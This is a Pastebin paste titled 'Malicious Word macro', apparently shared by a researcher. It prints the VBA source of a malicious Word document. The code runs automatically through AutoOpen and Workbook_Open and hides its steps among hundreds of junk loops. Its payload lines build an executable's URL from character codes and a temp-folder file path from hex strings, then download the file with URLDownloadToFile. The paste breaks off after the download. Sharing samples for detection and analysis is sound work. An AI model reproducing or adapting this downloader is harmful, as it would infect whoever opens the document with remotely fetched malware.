Advertisement
dynamoo

Malicious Word macro

Jan 12th, 2015
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
  12.     ByVal szURL As String, _
  13.     ByVal szFileName As String, _
  14.     ByVal dwReserved As Long, _
  15.     ByVal lpfnCB As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal pCaller As Long, _
  19.     ByVal szURL As String, _
  20.     ByVal szFileName As String, _
  21.     ByVal dwReserved As Long, _
  22.     ByVal lpfnCB As Long) As Long
  23. #End If
  24. Sub GYretgfd()
  25.  
  26. Dim mmrmVQfE As Integer
  27.  
  28. Dim lZhPpZiG As Integer
  29.  
  30. Dim HXeDBhEA As Integer
  31. HXeDBhEA = 9
  32. Do While HXeDBhEA < 71
  33. DoEvents: HXeDBhEA = HXeDBhEA + 1
  34. Loop
  35.  
  36. lZhPpZiG = 5
  37. Do While lZhPpZiG < 37
  38.  
  39. Dim xfciBOqo As Integer
  40. xfciBOqo = 5
  41. Do While xfciBOqo < 44
  42. DoEvents: xfciBOqo = xfciBOqo + 1
  43. Loop
  44.  
  45. DoEvents: lZhPpZiG = lZhPpZiG + 1
  46.  
  47. Dim LIdaFdDK As Integer
  48. LIdaFdDK = 2
  49. Do While LIdaFdDK < 41
  50. DoEvents: LIdaFdDK = LIdaFdDK + 1
  51. Loop
  52.  
  53. Loop
  54.  
  55.  
  56. Dim TfaXlvag As Integer
  57. TfaXlvag = 9
  58. Do While TfaXlvag < 26
  59. DoEvents: TfaXlvag = TfaXlvag + 1
  60. Loop
  61.  
  62. mmrmVQfE = 5
  63. Do While mmrmVQfE < 35
  64.  
  65. Dim uebWoJUk As Integer
  66.  
  67. Dim DkuvrkbI As Integer
  68. DkuvrkbI = 8
  69. Do While DkuvrkbI < 13
  70. DoEvents: DkuvrkbI = DkuvrkbI + 1
  71. Loop
  72.  
  73. uebWoJUk = 2
  74. Do While uebWoJUk < 12
  75.  
  76. Dim YyPpIcRa As Integer
  77. YyPpIcRa = 7
  78. Do While YyPpIcRa < 25
  79. DoEvents: YyPpIcRa = YyPpIcRa + 1
  80. Loop
  81.  
  82. DoEvents: uebWoJUk = uebWoJUk + 1
  83.  
  84. Dim cizLTRqq As Integer
  85. cizLTRqq = 5
  86. Do While cizLTRqq < 43
  87. DoEvents: cizLTRqq = cizLTRqq + 1
  88. Loop
  89.  
  90. Loop
  91.  
  92.  
  93. Dim cemloRun As Integer
  94. cemloRun = 5
  95. Do While cemloRun < 31
  96. DoEvents: cemloRun = cemloRun + 1
  97. Loop
  98.  
  99. DoEvents: mmrmVQfE = mmrmVQfE + 1
  100.  
  101. Dim hzycmISh As Integer
  102.  
  103. Dim oKlTowyd As Integer
  104. oKlTowyd = 3
  105. Do While oKlTowyd < 72
  106. DoEvents: oKlTowyd = oKlTowyd + 1
  107. Loop
  108.  
  109. hzycmISh = 4
  110. Do While hzycmISh < 84
  111.  
  112. Dim coWxhinf As Integer
  113. coWxhinf = 8
  114. Do While coWxhinf < 15
  115. DoEvents: coWxhinf = coWxhinf + 1
  116. Loop
  117.  
  118. DoEvents: hzycmISh = hzycmISh + 1
  119.  
  120. Dim MZOhtQeC As Integer
  121. MZOhtQeC = 3
  122. Do While MZOhtQeC < 12
  123. DoEvents: MZOhtQeC = MZOhtQeC + 1
  124. Loop
  125.  
  126. Loop
  127.  
  128.  
  129. Dim OGivNKyg As Integer
  130. OGivNKyg = 7
  131. Do While OGivNKyg < 69
  132. DoEvents: OGivNKyg = OGivNKyg + 1
  133. Loop
  134.  
  135. Loop
  136.  
  137.  
  138. Dim oGOiVFJI As Integer
  139.  
  140. Dim bXVicatM As Integer
  141. bXVicatM = 6
  142. Do While bXVicatM < 41
  143. DoEvents: bXVicatM = bXVicatM + 1
  144. Loop
  145.  
  146. oGOiVFJI = 3
  147. Do While oGOiVFJI < 72
  148.  
  149. Dim DfnBEDbW As Integer
  150. DfnBEDbW = 8
  151. Do While DfnBEDbW < 74
  152. DoEvents: DfnBEDbW = DfnBEDbW + 1
  153. Loop
  154.  
  155. DoEvents: oGOiVFJI = oGOiVFJI + 1
  156.  
  157. Dim KPaVyTZJ As Integer
  158. KPaVyTZJ = 9
  159. Do While KPaVyTZJ < 41
  160. DoEvents: KPaVyTZJ = KPaVyTZJ + 1
  161. Loop
  162.  
  163. Loop
  164.  
  165.  
  166. Dim uaZGdlCK As Integer
  167. uaZGdlCK = 2
  168. Do While uaZGdlCK < 74
  169. DoEvents: uaZGdlCK = uaZGdlCK + 1
  170. Loop
  171.  
  172. wVVVfg
  173. End Sub
  174. Sub AutoOpen()
  175.  
  176. Dim xufUDIcL As Integer
  177.  
  178. Dim lPTxWEEe As Integer
  179.  
  180. Dim lEyEIaph As Integer
  181. lEyEIaph = 5
  182. Do While lEyEIaph < 37
  183. DoEvents: lEyEIaph = lEyEIaph + 1
  184. Loop
  185.  
  186. lPTxWEEe = 7
  187. Do While lPTxWEEe < 53
  188.  
  189. Dim oGESZodU As Integer
  190. oGESZodU = 3
  191. Do While oGESZodU < 19
  192. DoEvents: oGESZodU = oGESZodU + 1
  193. Loop
  194.  
  195. DoEvents: lPTxWEEe = lPTxWEEe + 1
  196.  
  197. Dim DkimjYUd As Integer
  198. DkimjYUd = 8
  199. Do While DkimjYUd < 13
  200. DoEvents: DkimjYUd = DkimjYUd + 1
  201. Loop
  202.  
  203. Loop
  204.  
  205.  
  206. Dim HBGLGbuh As Integer
  207. HBGLGbuh = 9
  208. Do While HBGLGbuh < 44
  209. DoEvents: HBGLGbuh = HBGLGbuh + 1
  210. Loop
  211.  
  212. xufUDIcL = 5
  213. Do While xufUDIcL < 71
  214.  
  215. Dim DfAFUiEL As Integer
  216.  
  217. Dim ZnLcvieJ As Integer
  218. ZnLcvieJ = 6
  219. Do While ZnLcvieJ < 28
  220. DoEvents: ZnLcvieJ = ZnLcvieJ + 1
  221. Loop
  222.  
  223. DfAFUiEL = 8
  224. Do While DfAFUiEL < 74
  225.  
  226. Dim bWuwkpVt As Integer
  227. bWuwkpVt = 6
  228. Do While bWuwkpVt < 13
  229. DoEvents: bWuwkpVt = bWuwkpVt + 1
  230. Loop
  231.  
  232. DoEvents: DfAFUiEL = DfAFUiEL + 1
  233.  
  234. Dim RlUwLeaz As Integer
  235. RlUwLeaz = 6
  236. Do While RlUwLeaz < 55
  237. DoEvents: RlUwLeaz = RlUwLeaz + 1
  238. Loop
  239.  
  240. Loop
  241.  
  242.  
  243. Dim IMPpQBDq As Integer
  244. IMPpQBDq = 9
  245. Do While IMPpQBDq < 85
  246. DoEvents: IMPpQBDq = IMPpQBDq + 1
  247. Loop
  248.  
  249. DoEvents: xufUDIcL = xufUDIcL + 1
  250.  
  251. Dim jWOiaZQk As Integer
  252.  
  253. Dim qZGFgkYK As Integer
  254. qZGFgkYK = 3
  255. Do While qZGFgkYK < 55
  256. DoEvents: qZGFgkYK = qZGFgkYK + 1
  257. Loop
  258.  
  259. jWOiaZQk = 4
  260. Do While jWOiaZQk < 68
  261.  
  262. Dim wkseSyVK As Integer
  263. wkseSyVK = 5
  264. Do While wkseSyVK < 73
  265. DoEvents: wkseSyVK = wkseSyVK + 1
  266. Loop
  267.  
  268. DoEvents: jWOiaZQk = jWOiaZQk + 1
  269.  
  270. Dim AOikUafM As Integer
  271. AOikUafM = 6
  272. Do While AOikUafM < 58
  273. DoEvents: AOikUafM = AOikUafM + 1
  274. Loop
  275.  
  276. Loop
  277.  
  278.  
  279. Dim KQCuPYsO As Integer
  280. KQCuPYsO = 9
  281. Do While KQCuPYsO < 79
  282. DoEvents: KQCuPYsO = KQCuPYsO + 1
  283. Loop
  284.  
  285. Loop
  286.  
  287.  
  288. Dim crxoomfx As Integer
  289.  
  290. Dim Gyqoqptg As Integer
  291. Gyqoqptg = 8
  292. Do While Gyqoqptg < 73
  293. DoEvents: Gyqoqptg = Gyqoqptg + 1
  294. Loop
  295.  
  296. crxoomfx = 5
  297. Do While crxoomfx < 71
  298.  
  299. Dim dhHFdPWN As Integer
  300. dhHFdPWN = 3
  301. Do While dhHFdPWN < 25
  302. DoEvents: dhHFdPWN = dhHFdPWN + 1
  303. Loop
  304.  
  305. DoEvents: crxoomfx = crxoomfx + 1
  306.  
  307. Dim lISeiTpe As Integer
  308. lISeiTpe = 7
  309. Do While lISeiTpe < 91
  310. DoEvents: lISeiTpe = lISeiTpe + 1
  311. Loop
  312.  
  313. Loop
  314.  
  315.  
  316. Dim snLvkIeg As Integer
  317. snLvkIeg = 6
  318. Do While snLvkIeg < 88
  319. DoEvents: snLvkIeg = snLvkIeg + 1
  320. Loop
  321.  
  322.     GYretgfd
  323. End Sub
  324. Sub Workbook_Open()
  325.  
  326. Dim YadQnnby As Integer
  327.  
  328. Dim xoXdhVYp As Integer
  329.  
  330. Dim AOybeftU As Integer
  331. AOybeftU = 6
  332. Do While AOybeftU < 58
  333. DoEvents: AOybeftU = AOybeftU + 1
  334. Loop
  335.  
  336. xoXdhVYp = 5
  337. Do While xoXdhVYp < 44
  338.  
  339. Dim dgMmIblr As Integer
  340. dgMmIblr = 4
  341. Do While dgMmIblr < 25
  342. DoEvents: dgMmIblr = dgMmIblr + 1
  343. Loop
  344.  
  345. DoEvents: xoXdhVYp = xoXdhVYp + 1
  346.  
  347. Dim FdAzoPAs As Integer
  348. FdAzoPAs = 8
  349. Do While FdAzoPAs < 36
  350. DoEvents: FdAzoPAs = FdAzoPAs + 1
  351. Loop
  352.  
  353. Loop
  354.  
  355.  
  356. Dim nKgCDXFI As Integer
  357. nKgCDXFI = 6
  358. Do While nKgCDXFI < 12
  359. DoEvents: nKgCDXFI = nKgCDXFI + 1
  360. Loop
  361.  
  362. YadQnnby = 7
  363. Do While YadQnnby < 52
  364.  
  365. Dim cthDLVEv As Integer
  366.  
  367. Dim htPkJzAi As Integer
  368. htPkJzAi = 6
  369. Do While htPkJzAi < 85
  370. DoEvents: htPkJzAi = htPkJzAi + 1
  371. Loop
  372.  
  373. cthDLVEv = 5
  374. Do While cthDLVEv < 43
  375.  
  376. Dim gyUZNBdj As Integer
  377. gyUZNBdj = 4
  378. Do While gyUZNBdj < 61
  379. DoEvents: gyUZNBdj = gyUZNBdj + 1
  380. Loop
  381.  
  382. DoEvents: cthDLVEv = cthDLVEv + 1
  383.  
  384. Dim XlvoOhqP As Integer
  385. XlvoOhqP = 9
  386. Do While XlvoOhqP < 85
  387. DoEvents: XlvoOhqP = XlvoOhqP + 1
  388. Loop
  389.  
  390. Loop
  391.  
  392.  
  393. Dim eAsqJiSF As Integer
  394. eAsqJiSF = 2
  395. Do While eAsqJiSF < 97
  396. DoEvents: eAsqJiSF = eAsqJiSF + 1
  397. Loop
  398.  
  399. DoEvents: YadQnnby = YadQnnby + 1
  400.  
  401. Dim guYxJtoO As Integer
  402.  
  403. Dim JCLPiMAx As Integer
  404. JCLPiMAx = 9
  405. Do While JCLPiMAx < 43
  406. DoEvents: JCLPiMAx = JCLPiMAx + 1
  407. Loop
  408.  
  409. guYxJtoO = 4
  410. Do While guYxJtoO < 85
  411.  
  412. Dim vaAeeiSK As Integer
  413. vaAeeiSK = 5
  414. Do While vaAeeiSK < 14
  415. DoEvents: vaAeeiSK = vaAeeiSK + 1
  416. Loop
  417.  
  418. DoEvents: guYxJtoO = guYxJtoO + 1
  419.  
  420. Dim ypGVuAXk As Integer
  421. ypGVuAXk = 2
  422. Do While ypGVuAXk < 14
  423. DoEvents: ypGVuAXk = ypGVuAXk + 1
  424. Loop
  425.  
  426. Loop
  427.  
  428.  
  429. Dim FfcjzFiD As Integer
  430. FfcjzFiD = 8
  431. Do While FfcjzFiD < 74
  432. DoEvents: FfcjzFiD = FfcjzFiD + 1
  433. Loop
  434.  
  435. Loop
  436.  
  437.  
  438. Dim EcofVJEP As Integer
  439.  
  440. Dim tkunGFAn As Integer
  441. tkunGFAn = 2
  442. Do While tkunGFAn < 15
  443. DoEvents: tkunGFAn = tkunGFAn + 1
  444. Loop
  445.  
  446. EcofVJEP = 9
  447. Do While EcofVJEP < 28
  448.  
  449. Dim bWeKnkAj As Integer
  450. bWeKnkAj = 6
  451. Do While bWeKnkAj < 41
  452. DoEvents: bWeKnkAj = bWeKnkAj + 1
  453. Loop
  454.  
  455. DoEvents: EcofVJEP = EcofVJEP + 1
  456.  
  457. Dim djPfoZkU As Integer
  458. djPfoZkU = 4
  459. Do While djPfoZkU < 53
  460. DoEvents: djPfoZkU = djPfoZkU + 1
  461. Loop
  462.  
  463. Loop
  464.  
  465.  
  466. Dim WmlYtHZz As Integer
  467. WmlYtHZz = 9
  468. Do While WmlYtHZz < 57
  469. DoEvents: WmlYtHZz = WmlYtHZz + 1
  470. Loop
  471.  
  472.     GYretgfd
  473. End Sub
  474. Sub wVVVfg()
  475.  
  476. Dim GBLjlLEw As Integer
  477.  
  478. Dim kGyxkaax As Integer
  479.  
  480. Dim CdeMjppS As Integer
  481. CdeMjppS = 1
  482. Do While CdeMjppS < 84
  483. DoEvents: CdeMjppS = CdeMjppS + 1
  484. Loop
  485.  
  486. kGyxkaax = 4
  487. Do While kGyxkaax < 39
  488.  
  489. Dim KQMZHpKM As Integer
  490. KQMZHpKM = 2
  491. Do While KQMZHpKM < 13
  492. DoEvents: KQMZHpKM = KQMZHpKM + 1
  493. Loop
  494.  
  495. DoEvents: kGyxkaax = kGyxkaax + 1
  496.  
  497. Dim YuABvmIp As Integer
  498. YuABvmIp = 9
  499. Do While YuABvmIp < 25
  500. DoEvents: YuABvmIp = YuABvmIp + 1
  501. Loop
  502.  
  503. Loop
  504.  
  505.  
  506. Dim HXVfWiNo As Integer
  507. HXVfWiNo = 9
  508. Do While HXVfWiNo < 29
  509. DoEvents: HXVfWiNo = HXVfWiNo + 1
  510. Loop
  511.  
  512. GBLjlLEw = 8
  513. Do While GBLjlLEw < 44
  514.  
  515. Dim LYwgIxYe As Integer
  516.  
  517. Dim HNEChDNX As Integer
  518. HNEChDNX = 9
  519. Do While HNEChDNX < 44
  520. DoEvents: HNEChDNX = HNEChDNX + 1
  521. Loop
  522.  
  523. LYwgIxYe = 9
  524. Do While LYwgIxYe < 88
  525.  
  526. Dim LUqwFYbB As Integer
  527. LUqwFYbB = 9
  528. Do While LUqwFYbB < 41
  529. DoEvents: LUqwFYbB = LUqwFYbB + 1
  530. Loop
  531.  
  532. DoEvents: LYwgIxYe = LYwgIxYe + 1
  533.  
  534. Dim FqUUwQiq As Integer
  535. FqUUwQiq = 8
  536. Do While FqUUwQiq < 74
  537. DoEvents: FqUUwQiq = FqUUwQiq + 1
  538. Loop
  539.  
  540. Loop
  541.  
  542.  
  543. Dim KKfuMTIg As Integer
  544. KKfuMTIg = 9
  545. Do While KKfuMTIg < 71
  546. DoEvents: KKfuMTIg = KKfuMTIg + 1
  547. Loop
  548.  
  549. DoEvents: GBLjlLEw = GBLjlLEw + 1
  550.  
  551. Dim PEofNTcl As Integer
  552.  
  553. Dim jChNsESr As Integer
  554. jChNsESr = 7
  555. Do While jChNsESr < 93
  556. DoEvents: jChNsESr = jChNsESr + 1
  557. Loop
  558.  
  559. PEofNTcl = 8
  560. Do While PEofNTcl < 39
  561.  
  562. Dim IByGfoPL As Integer
  563. IByGfoPL = 9
  564. Do While IByGfoPL < 24
  565. DoEvents: IByGfoPL = IByGfoPL + 1
  566. Loop
  567.  
  568. DoEvents: PEofNTcl = PEofNTcl + 1
  569.  
  570. Dim qYfoIELk As Integer
  571. qYfoIELk = 3
  572. Do While qYfoIELk < 28
  573. DoEvents: qYfoIELk = qYfoIELk + 1
  574. Loop
  575.  
  576. Loop
  577.  
  578.  
  579. Dim ZIrVPoHu As Integer
  580. ZIrVPoHu = 6
  581. Do While ZIrVPoHu < 58
  582. DoEvents: ZIrVPoHu = ZIrVPoHu + 1
  583. Loop
  584.  
  585. Loop
  586.  
  587.  
  588. Dim smcyjaeB As Integer
  589.  
  590. Dim cpGaMZWd As Integer
  591. cpGaMZWd = 5
  592. Do While cpGaMZWd < 44
  593. DoEvents: cpGaMZWd = cpGaMZWd + 1
  594. Loop
  595.  
  596. smcyjaeB = 3
  597. Do While smcyjaeB < 87
  598.  
  599. Dim zUDynMjD As Integer
  600. zUDynMjD = 2
  601. Do While zUDynMjD < 98
  602. DoEvents: zUDynMjD = zUDynMjD + 1
  603. Loop
  604.  
  605. DoEvents: smcyjaeB = smcyjaeB + 1
  606.  
  607. Dim TfXbMgvs As Integer
  608. TfXbMgvs = 7
  609. Do While TfXbMgvs < 26
  610. DoEvents: TfXbMgvs = TfXbMgvs + 1
  611. Loop
  612.  
  613. Loop
  614.  
  615.  
  616. Dim pQMRnYMD As Integer
  617. pQMRnYMD = 3
  618. Do While pQMRnYMD < 71
  619. DoEvents: pQMRnYMD = pQMRnYMD + 1
  620. Loop
  621.  
  622.     eFdsgfsdg = HexToString(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(56) & Chr$(54) & Chr$(49) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(53) & Chr$(54) & Chr$(67) & Chr$(54) & Chr$(50) & Chr$(55) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(55) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(51) & Chr$(55) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(69) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))
  623.  
  624.  
  625. Dim slUooxyt As Integer
  626.  
  627. Dim LEIdElVI As Integer
  628.  
  629. Dim YqpxSYMH As Integer
  630. YqpxSYMH = 7
  631. Do While YqpxSYMH < 54
  632. DoEvents: YqpxSYMH = YqpxSYMH + 1
  633. Loop
  634.  
  635. LEIdElVI = 9
  636. Do While LEIdElVI < 87
  637.  
  638. Dim SvnonwpF As Integer
  639. SvnonwpF = 8
  640. Do While SvnonwpF < 76
  641. DoEvents: SvnonwpF = SvnonwpF + 1
  642. Loop
  643.  
  644. DoEvents: LEIdElVI = LEIdElVI + 1
  645.  
  646. Dim htIZMHld As Integer
  647. htIZMHld = 4
  648. Do While htIZMHld < 61
  649. DoEvents: htIZMHld = htIZMHld + 1
  650. Loop
  651.  
  652. Loop
  653.  
  654.  
  655. Dim EEnhOorE As Integer
  656. EEnhOorE = 6
  657. Do While EEnhOorE < 29
  658. DoEvents: EEnhOorE = EEnhOorE + 1
  659. Loop
  660.  
  661. slUooxyt = 3
  662. Do While slUooxyt < 25
  663.  
  664. Dim whlmfJHm As Integer
  665.  
  666. Dim OJDfYXtP As Integer
  667. OJDfYXtP = 7
  668. Do While OJDfYXtP < 32
  669. DoEvents: OJDfYXtP = OJDfYXtP + 1
  670. Loop
  671.  
  672. whlmfJHm = 5
  673. Do While whlmfJHm < 45
  674.  
  675. Dim qSOIaLSl As Integer
  676. qSOIaLSl = 3
  677. Do While qSOIaLSl < 71
  678. DoEvents: qSOIaLSl = qSOIaLSl + 1
  679. Loop
  680.  
  681. DoEvents: whlmfJHm = whlmfJHm + 1
  682.  
  683. Dim DlJzwfWK As Integer
  684. DlJzwfWK = 8
  685. Do While DlJzwfWK < 75
  686. DoEvents: DlJzwfWK = DlJzwfWK + 1
  687. Loop
  688.  
  689. Loop
  690.  
  691.  
  692. Dim aGCEiVeS As Integer
  693. aGCEiVeS = 4
  694. Do While aGCEiVeS < 24
  695. DoEvents: aGCEiVeS = aGCEiVeS + 1
  696. Loop
  697.  
  698. DoEvents: slUooxyt = slUooxyt + 1
  699.  
  700. Dim nSMmHOLj As Integer
  701.  
  702. Dim YihyYovi As Integer
  703. YihyYovi = 7
  704. Do While YihyYovi < 92
  705. DoEvents: YihyYovi = YihyYovi + 1
  706. Loop
  707.  
  708. nSMmHOLj = 8
  709. Do While nSMmHOLj < 12
  710.  
  711. Dim iNAuvaHE As Integer
  712. iNAuvaHE = 3
  713. Do While iNAuvaHE < 59
  714. DoEvents: iNAuvaHE = iNAuvaHE + 1
  715. Loop
  716.  
  717. DoEvents: nSMmHOLj = nSMmHOLj + 1
  718.  
  719. Dim BzLHxiwF As Integer
  720. BzLHxiwF = 1
  721. Do While BzLHxiwF < 92
  722. DoEvents: BzLHxiwF = BzLHxiwF + 1
  723. Loop
  724.  
  725. Loop
  726.  
  727.  
  728. Dim DlMOCddN As Integer
  729. DlMOCddN = 8
  730. Do While DlMOCddN < 75
  731. DoEvents: DlMOCddN = DlMOCddN + 1
  732. Loop
  733.  
  734. Loop
  735.  
  736.  
  737. Dim evTAniPe As Integer
  738.  
  739. Dim rnfddjCN As Integer
  740. rnfddjCN = 2
  741. Do While rnfddjCN < 17
  742. DoEvents: rnfddjCN = rnfddjCN + 1
  743. Loop
  744.  
  745. evTAniPe = 4
  746. Do While evTAniPe < 68
  747.  
  748. Dim BBtWSjTu As Integer
  749. BBtWSjTu = 1
  750. Do While BBtWSjTu < 92
  751. DoEvents: BBtWSjTu = BBtWSjTu + 1
  752. Loop
  753.  
  754. DoEvents: evTAniPe = evTAniPe + 1
  755.  
  756. Dim HawRPcqk As Integer
  757. HawRPcqk = 2
  758. Do While HawRPcqk < 44
  759. DoEvents: HawRPcqk = HawRPcqk + 1
  760. Loop
  761.  
  762. Loop
  763.  
  764.  
  765. Dim JxMoNccJ As Integer
  766. JxMoNccJ = 2
  767. Do While JxMoNccJ < 48
  768. DoEvents: JxMoNccJ = JxMoNccJ + 1
  769. Loop
  770.  
  771.     xTysdfsdf = Environ(HexToString("54454D50")) & HexToString("5C545955686664745555556473662E657865")
  772.  
  773. Dim IDxzVBIF As Integer
  774.  
  775. Dim scihMCno As Integer
  776.  
  777. Dim WNKjboOV As Integer
  778. WNKjboOV = 9
  779. Do While WNKjboOV < 82
  780. DoEvents: WNKjboOV = WNKjboOV + 1
  781. Loop
  782.  
  783. scihMCno = 3
  784. Do While scihMCno < 26
  785.  
  786. Dim sygIYhOG As Integer
  787. sygIYhOG = 3
  788. Do While sygIYhOG < 23
  789. DoEvents: sygIYhOG = sygIYhOG + 1
  790. Loop
  791.  
  792. DoEvents: scihMCno = scihMCno + 1
  793.  
  794. Dim phmuEjuX As Integer
  795. phmuEjuX = 3
  796. Do While phmuEjuX < 77
  797. DoEvents: phmuEjuX = phmuEjuX + 1
  798. Loop
  799.  
  800. Loop
  801.  
  802.  
  803. Dim lqwuUzdG As Integer
  804. lqwuUzdG = 5
  805. Do While lqwuUzdG < 96
  806. DoEvents: lqwuUzdG = lqwuUzdG + 1
  807. Loop
  808.  
  809. IDxzVBIF = 7
  810. Do While IDxzVBIF < 32
  811.  
  812. Dim iLlxhmud As Integer
  813.  
  814. Dim mermzpQR As Integer
  815. mermzpQR = 7
  816. Do While mermzpQR < 94
  817. DoEvents: mermzpQR = mermzpQR + 1
  818. Loop
  819.  
  820. iLlxhmud = 3
  821. Do While iLlxhmud < 11
  822.  
  823. Dim ECrmtWJc As Integer
  824. ECrmtWJc = 9
  825. Do While ECrmtWJc < 23
  826. DoEvents: ECrmtWJc = ECrmtWJc + 1
  827. Loop
  828.  
  829. DoEvents: iLlxhmud = iLlxhmud + 1
  830.  
  831. Dim rCTkIVcq As Integer
  832. rCTkIVcq = 2
  833. Do While rCTkIVcq < 11
  834. DoEvents: rCTkIVcq = rCTkIVcq + 1
  835. Loop
  836.  
  837. Loop
  838.  
  839.  
  840. Dim IbuiMdYT As Integer
  841. IbuiMdYT = 7
  842. Do While IbuiMdYT < 66
  843. DoEvents: IbuiMdYT = IbuiMdYT + 1
  844. Loop
  845.  
  846. DoEvents: IDxzVBIF = IDxzVBIF + 1
  847.  
  848. Dim nQzSmBUW As Integer
  849.  
  850. Dim TGFEYoZF As Integer
  851. TGFEYoZF = 7
  852. Do While TGFEYoZF < 22
  853. DoEvents: TGFEYoZF = TGFEYoZF + 1
  854. Loop
  855.  
  856. nQzSmBUW = 6
  857. Do While nQzSmBUW < 11
  858.  
  859. Dim kxgPfrlU As Integer
  860. kxgPfrlU = 4
  861. Do While kxgPfrlU < 98
  862. DoEvents: kxgPfrlU = kxgPfrlU + 1
  863. Loop
  864.  
  865. DoEvents: nQzSmBUW = nQzSmBUW + 1
  866.  
  867. Dim VPujCmka As Integer
  868. VPujCmka = 1
  869. Do While VPujCmka < 88
  870. DoEvents: VPujCmka = VPujCmka + 1
  871. Loop
  872.  
  873. Loop
  874.  
  875.  
  876. Dim Ivtbdtmm As Integer
  877. Ivtbdtmm = 7
  878. Do While Ivtbdtmm < 66
  879. DoEvents: Ivtbdtmm = Ivtbdtmm + 1
  880. Loop
  881.  
  882. Loop
  883.  
  884.  
  885. Dim jKWpOpXl As Integer
  886.  
  887. Dim szRAIkgC As Integer
  888. szRAIkgC = 6
  889. Do While szRAIkgC < 46
  890. DoEvents: szRAIkgC = szRAIkgC + 1
  891. Loop
  892.  
  893. jKWpOpXl = 4
  894. Do While jKWpOpXl < 83
  895.  
  896. Dim SBmdyuld As Integer
  897. SBmdyuld = 8
  898. Do While SBmdyuld < 72
  899. DoEvents: SBmdyuld = SBmdyuld + 1
  900. Loop
  901.  
  902. DoEvents: jKWpOpXl = jKWpOpXl + 1
  903.  
  904. Dim srxeHZbP As Integer
  905. srxeHZbP = 3
  906. Do While srxeHZbP < 51
  907. DoEvents: srxeHZbP = srxeHZbP + 1
  908. Loop
  909.  
  910. Loop
  911.  
  912.  
  913. Dim qpCBTcVS As Integer
  914. qpCBTcVS = 3
  915. Do While qpCBTcVS < 52
  916. DoEvents: qpCBTcVS = qpCBTcVS + 1
  917. Loop
  918.  
  919.     pYTgyhf = URLDownloadToFile(0&, eFdsgfsdg, xTysdfsdf, 0&, 0&)
  920.    Dim gffUYUdfg
  921.  
  922. Dim OIHZnNTe As Integer
  923.  
  924. Dim QxFDRQUj As Integer
  925.  
  926. Dim srmmomfb As Integer
  927. srmmomfb = 3
  928. Do While srmmomfb < 84
  929. DoEvents: srmmomfb = srmmomfb + 1
  930. Loop
  931.  
  932. QxFDRQUj = 8
  933. Do While QxFDRQUj < 38
  934.  
  935. Dim lkPuCpEc As Integer
  936. lkPuCpEc = 4
  937. Do While lkPuCpEc < 97
  938. DoEvents: lkPuCpEc = lkPuCpEc + 1
  939. Loop
  940.  
  941. DoEvents: QxFDRQUj = QxFDRQUj + 1
  942.  
  943. Dim yKXfqluY As Integer
  944. yKXfqluY = 2
  945. Do While yKXfqluY < 11
  946. DoEvents: yKXfqluY = yKXfqluY + 1
  947. Loop
  948.  
  949. Loop
  950.  
  951.  
  952. Dim bbcizcon As Integer
  953. bbcizcon = 8
  954. Do While bbcizcon < 71
  955. DoEvents: bbcizcon = bbcizcon + 1
  956. Loop
  957.  
  958. OIHZnNTe = 1
  959. Do While OIHZnNTe < 31
  960.  
  961. Dim pUllTsxz As Integer
  962.  
  963. Dim pmMmUbwS As Integer
  964. pmMmUbwS = 3
  965. Do While pmMmUbwS < 16
  966. DoEvents: pmMmUbwS = pmMmUbwS + 1
  967. Loop
  968.  
  969. pUllTsxz = 5
  970. Do While pUllTsxz < 71
  971.  
  972. Dim JbbXtolV As Integer
  973. JbbXtolV = 9
  974. Do While JbbXtolV < 76
  975. DoEvents: JbbXtolV = JbbXtolV + 1
  976. Loop
  977.  
  978. DoEvents: pUllTsxz = pUllTsxz + 1
  979.  
  980. Dim cDkZFbjk As Integer
  981. cDkZFbjk = 5
  982. Do While cDkZFbjk < 12
  983. DoEvents: cDkZFbjk = cDkZFbjk + 1
  984. Loop
  985.  
  986. Loop
  987.  
  988.  
  989. Dim YQVrXQvf As Integer
  990. YQVrXQvf = 7
  991. Do While YQVrXQvf < 21
  992. DoEvents: YQVrXQvf = YQVrXQvf + 1
  993. Loop
  994.  
  995. DoEvents: OIHZnNTe = OIHZnNTe + 1
  996.  
  997. Dim gtLkurbV As Integer
  998.  
  999. Dim xLHOODZn As Integer
  1000. xLHOODZn = 5
  1001. Do While xLHOODZn < 41
  1002. DoEvents: xLHOODZn = xLHOODZn + 1
  1003. Loop
  1004.  
  1005. gtLkurbV = 6
  1006. Do While gtLkurbV < 56
  1007.  
  1008. Dim YHZWFidG As Integer
  1009. YHZWFidG = 7
  1010. Do While YHZWFidG < 59
  1011. DoEvents: YHZWFidG = YHZWFidG + 1
  1012. Loop
  1013.  
  1014. DoEvents: gtLkurbV = gtLkurbV + 1
  1015.  
  1016. Dim FLQiTXyY As Integer
  1017. FLQiTXyY = 2
  1018. Do While FLQiTXyY < 43
  1019. DoEvents: FLQiTXyY = FLQiTXyY + 1
  1020. Loop
  1021.  
  1022. Loop
  1023.  
  1024.  
  1025. Dim PlZJtWFF As Integer
  1026. PlZJtWFF = 1
  1027. Do While PlZJtWFF < 37
  1028. DoEvents: PlZJtWFF = PlZJtWFF + 1
  1029. Loop
  1030.  
  1031. Loop
  1032.  
  1033.  
  1034. Dim aPUdShSw As Integer
  1035.  
